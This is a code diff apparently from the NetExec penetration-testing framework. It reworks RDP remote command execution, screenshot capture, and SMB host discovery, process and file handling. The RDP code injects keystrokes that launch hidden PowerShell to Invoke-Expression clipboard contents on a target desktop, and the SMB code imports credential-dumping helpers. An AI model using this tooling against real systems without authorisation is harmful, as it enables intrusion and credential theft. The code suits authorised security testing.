+        remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
+        if remaining_delay > 0:
+            await asyncio.sleep(remaining_delay)
+
+    async def _submit_run_command(self, command):
+        await self._send_win_r()
+        await self.conn.set_current_clipboard_text(command)
+        # server must acknowledge our clipboard data before we trigger the read
+        response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
+        if not response.accepted:
+            raise RuntimeError("Remote session rejected the clipboard command data")
+        # type a one-liner that reads and executes the clipboard we just set
+        # uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
+        await self._send_keystrokes(
+            "powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
+            '-WindowStyle Hidden -Command "Add-Type -AssemblyName '
+            "System.Windows.Forms; Invoke-Expression "
+            '([System.Windows.Forms.Clipboard]::GetText())"'
+        )
+        await self._send_enter()
+
+    async def _submit_typed_run_command(self, command):
+        await self._send_win_r()
+        await self._send_keystrokes(command, delay=0.005)
+        await self._send_enter()
+
+    async def _wait_for_command_result(self, marker):
+        loop = asyncio.get_running_loop()
+        deadline = loop.time() + self.args.clipboard_delay
+
+        while True:
+            remaining = deadline - loop.time()
+            if remaining <= 0:
+                raise TimeoutError
+
+            data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
+            result = self._parse_execution_result(data.data, marker)
+            if result is not None:
+                return result
 
     async def execute_shell(self, payload, get_output, shell_type):
-        # Append | clip to send output to clipboard
-        if shell_type == "cmd":
-            payload_with_clip = f"{payload} | clip & exit"
-        elif shell_type == "powershell":
-            payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
-        else:
-            self.logger.fail(f"Unsupported shell type: {shell_type}")
-            return None
-        self.logger.debug(f"Executing command: {payload_with_clip}")
-
-        try:
-            self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-            await self.connect_rdp()
-        except Exception as e:
-            self.logger.debug(f"Error connecting to RDP: {e!s}")
-            return None
+        marker = uuid4().hex if get_output else None
+        command = self._build_execution_command(payload, shell_type, marker, get_output)
+        self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
 
         try:
             if get_output:
                 self.logger.success("Waiting for clipboard to be ready...")
-                clipboard_ready = False
-                await asyncio.sleep(self.args.cmd_delay)
-
-                timeout_counter = 0
-                while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10):  # Convert seconds to deciseconds
-                    try:
-                        data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
-                        if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
-                            clipboard_ready = True
-                            self.logger.debug("Clipboard is ready!")
-                            break
-                    except asyncio.TimeoutError:
-                        timeout_counter += 1
-                        continue
-                    except (ConnectionResetError, ConnectionError, OSError) as e:
-                        self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
-                        self.logger.fail("Connection was reset by the remote host")
-                        return ""
-                    except Exception as e:
-                        self.logger.debug(f"Error waiting for clipboard: {e!s}")
-                        self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
-                        return ""
-
-                if not clipboard_ready:
+                try:
+                    await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
+                except TimeoutError:
                     self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
-                    return ""
+                    return None
 
-            # Wait for desktop to be available
-            await asyncio.sleep(self.args.cmd_delay)
+            await self._wait_for_desktop()
+
+            if get_output:
+                # On first RDP logon after boot, Explorer may not be ready to
+                # process Win+R immediately after the desktop appears. This
+                # no-op warmup command absorbs the race: if the shell isn't
+                # ready it silently fails, and the 3-second pause gives Explorer
+                # time to finish initialization before the real command.
+                await self._submit_typed_run_command(
+                    "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
+                    '-Command "Add-Type -AssemblyName System.Windows.Forms"'
+                )
+                await asyncio.sleep(3)
+
+            if get_output:
+                try:
+                    await self._submit_run_command(command)
+                except TimeoutError:
+                    self.logger.fail("Remote session did not acknowledge the clipboard command data")
+                    return None
+            else:
+                await self._submit_typed_run_command(command)
+
+            if not get_output:
+                await asyncio.sleep(self.args.cmd_delay)
+                self.logger.success("Executed command without retrieving output")
+                return None
 
             try:
-                # Try to open Run dialog using Windows+R
-                self.logger.debug("Attempting to open Run dialog")
-                win_r_success = await self._send_win_r()
-
-                if win_r_success:
-                    self.logger.debug(f"Launching {shell_type} via Run dialog")
-                    await self._send_keystrokes(f"{shell_type}.exe")
-                    await self._send_enter()
-                    await asyncio.sleep(self.args.cmd_delay)  # Wait for cmd window to open
-                else:
-                    # Fallback: Try direct command typing (assumes cmd may already be open)
-                    self.logger.debug(f"Sending {shell_type} command directly")
-                    await self._send_keystrokes(f"{shell_type}.exe")
-                    await self._send_enter()
-                    await asyncio.sleep(self.args.cmd_delay)
-
-                # Type the command with | clip
-                self.logger.debug(f"Typing command: {payload_with_clip}")
-                await self._send_keystrokes(payload_with_clip)
-                await self._send_enter()
-
-                # Wait for command to execute
-                await asyncio.sleep(self.args.cmd_delay)
-
-                if get_output:
-                    # Get the current clipboard text
-                    self.logger.debug("Getting clipboard content...")
-                    clipboard_text = await self.conn.get_current_clipboard_text()
-
-                    if clipboard_text:
-                        self.logger.debug("Command output retrieved from clipboard:")
-                        for line in clipboard_text.lstrip().strip("\n").splitlines():
-                            self.logger.highlight(line)
-                    else:
-                        self.logger.fail("Clipboard is empty or contains non-text data")
-                    return clipboard_text
-                else:
-                    self.logger.success("Executed command without retrieving output")
-
-                self.logger.debug("Command execution completed")
+                exit_code, output = await self._wait_for_command_result(marker)
+            except TimeoutError:
+                self.logger.fail("Timed out waiting for command output on the RDP clipboard")
                 return None
 
-            except (ConnectionResetError, ConnectionError, OSError) as e:
-                self.logger.debug(f"Connection error during command execution: {e!s}")
-                self.logger.fail("Connection was reset by the remote host during command execution")
-                return None
-            except Exception as e:
-                self.logger.debug(f"Error during command execution: {e!s}")
-                if "cannot unpack non-iterable NoneType object" in str(e):
-                    self.logger.fail("RDP connection was terminated unexpectedly")
-                else:
-                    self.logger.fail(f"Command execution failed: {e!s}")
-                return None
+            if exit_code != 0:
+                self.logger.fail(f"Command completed with exit code {exit_code}")
+            if output:
+                for line in output.splitlines():
+                    self.logger.highlight(line)
+            else:
+                self.logger.debug("Command completed without output")
+            return output
 
         except (ConnectionResetError, ConnectionError, OSError) as e:
             self.logger.debug(f"Connection error: {e!s}")
@@ -547,10 +684,6 @@ class rdp(connection):
             self.logger.debug(f"Unexpected error: {e!s}")
             self.logger.fail(f"Command execution failed: {e!s}")
             return None
-        finally:
-            # clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
-            self.logger.debug("Terminating RDP connection")
-            await self.terminate_conn()
 
     def execute(self, payload=None, shell_type="cmd"):
         """Execute a command via RDP"""
@@ -559,71 +692,70 @@ class rdp(connection):
 
         get_output = bool(not self.args.no_output)
 
-        self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
+        if not self.username:  # every login method sets it, so empty means no credentials were given and there is no desktop to capture
+            self.logger.fail("-x/-X need credentials")
+            return None
+        if self.conn.disconnected_evt.is_set():  # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
+            return None
+        self.logger.success(f"Executing command: {payload}")
 
         try:
-            result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
+            result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
 
-            if result:
+            if result is not None:
                 self.logger.debug("Command execution completed")
             return result
         except Exception as e:
             self.logger.error(f"Command execution error: {e!s}")
-            if shell_type == "cmd":
-                self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
-                try:
-                    return self.execute(payload, shell_type="powershell")
-                except Exception as e2:
-                    self.logger.fail(f"Execute command failed, error: {e2!s}")
-            else:
-                self.logger.fail(f"Execute command failed, error: {e!s}")
+            self.logger.fail(f"Execute command failed, error: {e!s}")
 
     def ps_execute(self):
         self.execute(payload=self.args.ps_execute, shell_type="powershell")
 
+    async def save_screenshot(self, desktop, label):
+        filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
+        filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
+        desktop.save(filename, "png")
+        self.logger.highlight(f"{label} saved {filename}")
+
     async def screen(self):
         try:
-            self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
-            await self.connect_rdp()
-
-            await asyncio.sleep(5)
-            if self.conn is not None and self.conn.desktop_buffer_has_data is True:
-                buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
-                filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
-                buffer.save(filename, "png")
-                self.logger.highlight(f"Screenshot saved {filename}")
+            await asyncio.sleep(self.args.screentime)
+            if self.conn.desktop_buffer_has_data:
+                await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
+            else:
+                self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
         except Exception as e:
-            self.logger.debug(f"Error taking screenshot: {e!s}")
-        finally:
-            await self.terminate_conn()
+            self.logger.fail(f"Could not take the screenshot: {e!s}")
 
     def screenshot(self):
-        asyncio.run(self.screen())
+        if not self.username:  # every login method sets it, so empty means no credentials were given and there is no desktop to capture
+            self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
+        elif not self.conn.disconnected_evt.is_set():  # no session to capture: same silent skip as execute()
+            self.runner.run(self.screen())
 
     async def nla_screen(self):
         self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
-
+        connected = False
         for proto in self.protoflags_nla:
             try:
-                self.iosettings.supported_protocols = proto
-                self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
+                self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
                 await self.connect_rdp()
             except Exception as e:
                 self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
                 await self.terminate_conn()
                 continue
 
+            connected = True
             try:
-                await asyncio.sleep(int(self.args.screentime))
+                await asyncio.sleep(self.args.screentime)
                 if self.conn is not None and self.conn.desktop_buffer_has_data is True:
-                    buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
-                    filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
-                    buffer.save(filename, "png")
-                    self.logger.highlight(f"NLA Screenshot saved {filename}")
+                    await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
                     return
             finally:
                 await self.terminate_conn()
+        self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
 
     def nla_screenshot(self):
         if not self.nla:
-            asyncio.run(self.nla_screen())
+            self.runner.run(self.nla_screen())

nxc/protocols/rdp/proto_args.py

@@ -14,14 +14,14 @@ def proto_args(parser, parents):
 
     egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
     egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
-    egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
+    egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
     egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
 
     cgroup = rdp_parser.add_argument_group("Command Execution")
     cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
     cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
-    cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
-    cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
+    cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
+    cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
     cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
 
     return parser

nxc/protocols/smb.py

@@ -4,13 +4,18 @@ import os
 import re
 import struct
 import ipaddress
+from pathlib import Path
+
+from nxc.helpers.path import sanitize_path_component
 from Cryptodome.Hash import MD4
 from textwrap import dedent
+from nxc.helpers.misc import sanitize_dns
 
 from impacket.smbconnection import SMBConnection, SessionError
 from impacket.smb import SMB_DIALECT
 from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
 from impacket.examples.secretsdump import (
+    LocalOperations,
     RemoteOperations,
     SAMHashes,
     LSASecrets,
@@ -42,24 +47,25 @@ from impacket.smb3structs import (
     FILE_ADD_SUBDIRECTORY,
     FILE_DIRECTORY_FILE,
     FILE_OPEN,
+    FILE_READ_DATA,
     FILE_SHARE_DELETE,
     FILE_SHARE_READ,
     FILE_SHARE_WRITE,
     FILE_SYNCHRONOUS_IO_NONALERT,
+    FILE_WRITE_DATA,
     GENERIC_WRITE,
     SMB2_0_IOCTL_IS_FSCTL,
     WRITE_DAC,
     WRITE_OWNER,
 )
-
 from impacket.dcerpc.v5 import tsts as TSTS
 
 from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
-from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
+from nxc.connection import connection, sem, requires_admin
+from nxc.helpers.rpc import dcom_FirewallChecker
 from nxc.helpers.misc import gen_random_string, validate_ntlm
 from nxc.logger import NXCAdapter
-from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
-from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
+from nxc.paths import NXC_PATH
 from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
 from nxc.protocols.smb.wmiexec import WMIEXEC
 from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -72,17 +78,13 @@ from nxc.protocols.smb.samrfunc import SamrFunc
 from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
 from nxc.helpers.logger import highlight
 from nxc.helpers.bloodhound import add_user_bh
+from nxc.helpers.dpapi import DPAPITriage
 from nxc.helpers.rpc import NXCRPCConnection
 from nxc.helpers.powershell import create_ps_command
 from nxc.helpers.misc import detect_if_ip
 from nxc.protocols.ldap.resolution import LDAPResolution
 
-from dploot.triage.vaults import VaultsTriage
-from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
-from dploot.triage.credentials import CredentialsTriage
-from dploot.triage.cng import CngTriage
-from dploot.lib.target import Target
-from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
+from dploot.lib.network.smb import SMBTarget as Target
 
 from time import time, ctime, sleep
 from traceback import format_exc
@@ -129,18 +131,18 @@ class smb(connection):
         self.server_os_major = None
         self.server_os_minor = None
         self.server_os_build = None
-        self.os_arch = 0
+        self.os_arch = None
         self.hash = None
         self.lmhash = ""
         self.nthash = ""
         self.remote_ops = None
         self.bootkey = None
+        self.dpapi_system_key = None
         self.smbv1 = None   # Check if SMBv1 is supported
         self.smbv3 = None   # Check if SMBv3 is supported
         self.is_timed_out = False
         self.signing = False
         self.smb_share_name = smb_share_name
-        self.pvkbytes = None
         self.no_da = None
         self.no_ntlm = False
         self.null_auth = False
@@ -150,6 +152,8 @@ class smb(connection):
         self.tgt = None
         self.tgs = None
 
+        self._dpapi_triage = None
+
         connection.__init__(self, args, db, host)
 
     def proto_logger(self):
@@ -183,7 +187,7 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
 
-        return 0
+        return None
 
     def enum_host_info(self):
         self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
@@ -200,28 +204,33 @@ class smb(connection):
                 self.no_ntlm = True
                 self.logger.debug("NTLM not supported")
 
+        # Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
+        self.os_arch = self.get_os_arch()
+
         aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
         self.is_host_dc(aggressive_check=aggressive_check)
 
         # self.domain is the attribute we authenticate with
         # self.targetDomain is the attribute which gets displayed as host domain
+        # self.remoteName is the attribute which gets used in the SPN
+        self.hostname = self.host
+        self.targetDomain = self.host
+        self.remoteName = self.host
         if not self.no_ntlm:
             # Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
-            dns_hostname = self.conn.getServerDNSHostName().upper()
+            dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
             if dns_hostname and "." in dns_hostname:
-                self.hostname = dns_hostname.split(".")[0]
-            elif dns_hostname:
-                self.hostname = dns_hostname
+                self.hostname = dns_hostname.split(".", 1)[0]
             else:
-                self.hostname = self.conn.getServerName()
-            self.targetDomain = self.conn.getServerDNSDomainName()
-            if not self.targetDomain:   # Not sure if that can even happen but now we are safe
-                self.targetDomain = self.hostname
+                self.hostname = dns_hostname
+            self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
+            # Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
+            self.remoteName = dns_hostname if self.kerberos else self.host
         else:
             try:
                 # If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
                 if self.isdc and detect_if_ip(self.host):
-                    self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
+                    self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
                     self.targetDomain = self.domain
                 # If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
                 else:
@@ -229,19 +238,12 @@ class smb(connection):
                     import socket
                     socket.inet_aton(self.host)
                     self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
-                    self.hostname = self.host
-                    self.targetDomain = self.host
             except OSError:
                 if self.host.count(".") >= 1:
                     self.hostname = self.host.split(".")[0]
                     self.targetDomain = ".".join(self.host.split(".")[1:])
-                else:
-                    self.hostname = self.host
-                    self.targetDomain = self.host
             except Exception as e:
                 self.logger.debug(f"Error getting hostname from LDAP: {e}")
-                self.hostname = self.host
-                self.targetDomain = self.host
 
         if self.args.domain:
             self.domain = self.args.domain
@@ -256,7 +258,6 @@ class smb(connection):
 
         # As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
         # Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
-        # Also only on Windows we should get an OS arch as for that we would need MSRPC
         try:
             self.server_os = self.conn.getServerOS()
             self.server_os_major = self.conn.getServerOSMajor()
@@ -269,9 +270,9 @@ class smb(connection):
         if isinstance(self.server_os.lower(), bytes):
             self.server_os = self.server_os.decode("utf-8")
 
-        if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
+        if "Windows 6.1" in self.server_os and self.server_os_build == 0:
             self.server_os = "Unix - Samba"
-        elif self.server_os_build == 0 and self.os_arch == 0:
+        elif self.server_os_build == 0:
             self.server_os = "Unix"
         self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
 
@@ -282,8 +283,6 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(e)
 
-        self.os_arch = self.get_os_arch()
-
         # moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
         if check_guest_account and not self.no_ntlm:
             try:
@@ -311,14 +310,11 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
 
-        # DCOM connection with kerberos needed
-        self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
-
         # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
         if not self.kdcHost and self.domain and self.domain == self.targetDomain:
             result = self.resolver(self.domain)
             self.kdcHost = result["host"] if result else None
-            self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
+            self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
 
     def print_host_info(self):
         signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -424,6 +420,8 @@ class smb(connection):
                 if self.args.generate_st:
                     self.save_st(tgs, sk, spn if self.args.spn else None)
 
+            if not tgs and not useCache:
+                self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
             self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
 
             if self.args.generate_st:
@@ -646,7 +644,7 @@ class smb(connection):
         return self.conn.isSigningRequired()
 
     def create_smbv1_conn(self, check=False):
-        self.logger.info(f"Creating SMBv1 connection to {self.host}")
+        self.logger.debug(f"Creating SMBv1 connection to {self.host}")
         try:
             conn = SMBConnection(
                 self.remoteName,
@@ -661,26 +659,26 @@ class smb(connection):
                 self.conn = conn
         except OSError as e:
             if "Connection reset by peer" in str(e):
-                self.logger.info(f"SMBv1 might be disabled on {self.host}")
+                self.logger.debug(f"SMBv1 might be disabled on {self.host}")
             elif "timed out" in str(e):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
             else:
-                self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
+                self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         except NetBIOSError:
-            self.logger.info(f"SMBv1 disabled on {self.host}")
+            self.logger.debug(f"SMBv1 disabled on {self.host}")
             self.smbv1 = False
             return False
         except (Exception, NetBIOSTimeout) as e:
-            self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
+            self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
             self.smbv1 = False
             return False
         return True
 
     def create_smbv3_conn(self):
-        self.logger.info(f"Creating SMBv3 connection to {self.host}")
+        self.logger.debug(f"Creating SMBv3 connection to {self.host}")
         try:
             self.conn = SMBConnection(
                 self.remoteName,
@@ -695,7 +693,7 @@ class smb(connection):
                 self.is_timed_out = True
                 self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
             else:
-                self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
+                self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
             self.smbv3 = False
             return False
         return True
@@ -870,9 +868,7 @@ class smb(connection):
         if self.isdc is not None:
             return self.isdc
 
-        probes = [self._is_dc_via_smb]
-        if aggressive_check:
-            probes.append(self._is_dc_via_rpc)
+        probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
         if self.no_ntlm or aggressive_check:
             probes.append(self._is_dc_via_kerberos)
 
@@ -891,17 +887,13 @@ class smb(connection):
         session we already hold answers without enumerating every share (unlike
         listShares). ACCESS_DENIED still proves the share exists, hence a DC.
 
-        Meant to run while the null session is still fresh. When there is no
-        session, the reason is decisive: a DC with NTLM enabled always accepts
-        the null bind, so "NTLM on + no null session" means this is NOT a DC.
-        Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
-        bind then), so we hand that case off to the Kerberos tier.
+        Meant to run while the null session is still fresh. Without a session
+        this check is inconclusive: DCs can refuse the null bind (Server 2025
+        does by default, as does an NTLM-disabled DC), so we hand off to the
+        RPC/Kerberos tiers.
         """
         if not self.null_auth:
-            if not self.no_ntlm:
-                self.logger.debug("NTLM enabled but no null session: host is not a DC")
-                return False
-            self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
+            self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
             return None
         try:
             tid = self.conn.connectTree("SYSVOL")
@@ -957,15 +949,17 @@ class smb(connection):
     def _is_dc_via_rpc(self):
         """
         Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
-        and needs no session;
+        and needs no session. get_os_arch() already talks to the endpoint mapper
+        on every scan, so this adds no new port and runs only when that call
+        reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
         """
         from impacket.dcerpc.v5 import nrpc, epm
 
-        if not self._is_port_open(135):
-            self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
+        if self.os_arch is None:
+            self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
             return None
 
-        self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
+        self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
         try:
             epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
             self.logger.debug("Netlogon endpoint registered: host is a DC")
@@ -1264,7 +1258,7 @@ class smb(connection):
                     self.logger.error("Could not get process list")
                     return
 
-                pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
+                pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
                 if not pidList:
                     self.logger.fail(f"Could not find process named {self.args.taskkill}")
                     return
@@ -1378,12 +1372,12 @@ class smb(connection):
     @requires_admin
     def tasklist(self):
         # Formats a row to be printed on screen
-        def format_row(procInfo):
+        def format_row(procInfo, pSid):
             return template.format(
-                procInfo["ImageName"],
-                procInfo["UniqueProcessId"],
-                procInfo["SessionId"],
-                procInfo["pSid"],
+                str(procInfo["ImageName"].getValue()),
+                str(procInfo["UniqueProcessId"]),
+                str(procInfo["SessionId"]),
+                pSid,
                 f"{procInfo['WorkingSetSize'] // 1000:,} K",
             )
 
@@ -1399,8 +1393,8 @@ class smb(connection):
                 if not res:
                     return
                 self.logger.success("Enumerated processes")
-                maxImageNameLen = max(len(i["ImageName"]) for i in res)
-                maxSidLen = max(len(i["pSid"]) for i in res)
+                maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
+                maxSidLen = max(len(i.getSid()) for i in res)
                 template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
                 self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
                 self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
@@ -1411,12 +1405,12 @@ class smb(connection):
                     # If args.tasklist is not True then a process name was supplied
                     if self.args.tasklist is not True:
                         # So we look for it and print its information if found
-                        if self.args.tasklist.lower() in procInfo["ImageName"].lower():
+                        if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
                             found_task = True
-                            self.logger.highlight(format_row(procInfo))
+                            self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
                     # Else, no process was supplied, we print the entire list of remote processes
                     else:
-                        self.logger.highlight(format_row(procInfo))
+                        self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
 
                 # If a process was suppliad to args.tasklist and it was not found, we print a fail message
                 if self.args.tasklist is not True and not found_task:
@@ -1987,9 +1981,10 @@ class smb(connection):
             namespace = self.args.wmi_namespace
 
         try:
-            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
+            *_, tgt, _ = self.conn.getCredentials()
+            dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
             iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
-            flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
+            flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
             if not flag or not stringBinding:
                 error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
 
@@ -2149,24 +2144,114 @@ class smb(connection):
         for src, dest in self.args.put_file:
             self.put_file_single(src, dest)
 
-    def get_file_single(self, remote_path, download_path):
+    def download_file(self, share_name, remote_path, dest_file, access_mode=FILE_READ_DATA):
+        try:
+            self.logger.debug(f"Getting file from {share_name}:{remote_path} with access mode {access_mode}")
+            self.conn.getFile(share_name, remote_path, dest_file, shareAccessMode=access_mode)
+            return True
+        except SessionError as e:
+            if "STATUS_SHARING_VIOLATION" in str(e):
+                self.logger.debug(f"Sharing violation on {remote_path}: {e}")
+            else:
+                self.logger.debug(f"SessionError when attempting to download file {remote_path}: {e}")
+            return False
+        except Exception as e:
+            self.logger.debug(f"Other error when attempting to download file {remote_path}: {e}")
+            return False
+
+    def get_file_single(self, remote_path, download_path, silent=False):
         share_name = self.args.share
-        self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
         if self.args.append_host:
-            download_path = f"{self.hostname}-{remote_path}"
+            download_path = sanitize_path_component(f"{self.hostname}-{remote_path}")
+        if not silent:
+            self.logger.display(f"Copying '{remote_path}' to '{download_path}'")
         with open(download_path, "wb+") as file:
-            try:
-                self.conn.getFile(share_name, remote_path, file.write)
-                self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
-            except Exception as e:
-                self.logger.fail(f'Error writing file "{remote_path}" from share "{share_name}": {e}')
-                if os.path.getsize(download_path) == 0:
